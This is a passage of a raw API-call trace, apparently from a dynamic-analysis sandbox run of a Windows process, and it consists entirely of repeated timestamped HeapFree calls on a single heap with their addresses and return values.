dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0250.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0250.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0250.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0250.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.024] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0251.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0251.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.514] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0251.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.134] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0252.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.526] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0253.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0253.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0253.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0253.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0253.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0253.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0253.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0253.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0253.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0253.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0253.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0253.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0253.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0253.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0253.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0253.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0253.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0253.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0254.239] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0254.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0254.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0254.591] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0255.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0255.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0255.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0255.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0255.200] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0255.200] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0255.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0255.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.379] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0255.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.885] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0255.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.966] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.967] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.968] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.398] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.532] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.565] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.565] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.565] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.565] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0256.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0256.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0256.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0256.799] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0256.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0256.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0256.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 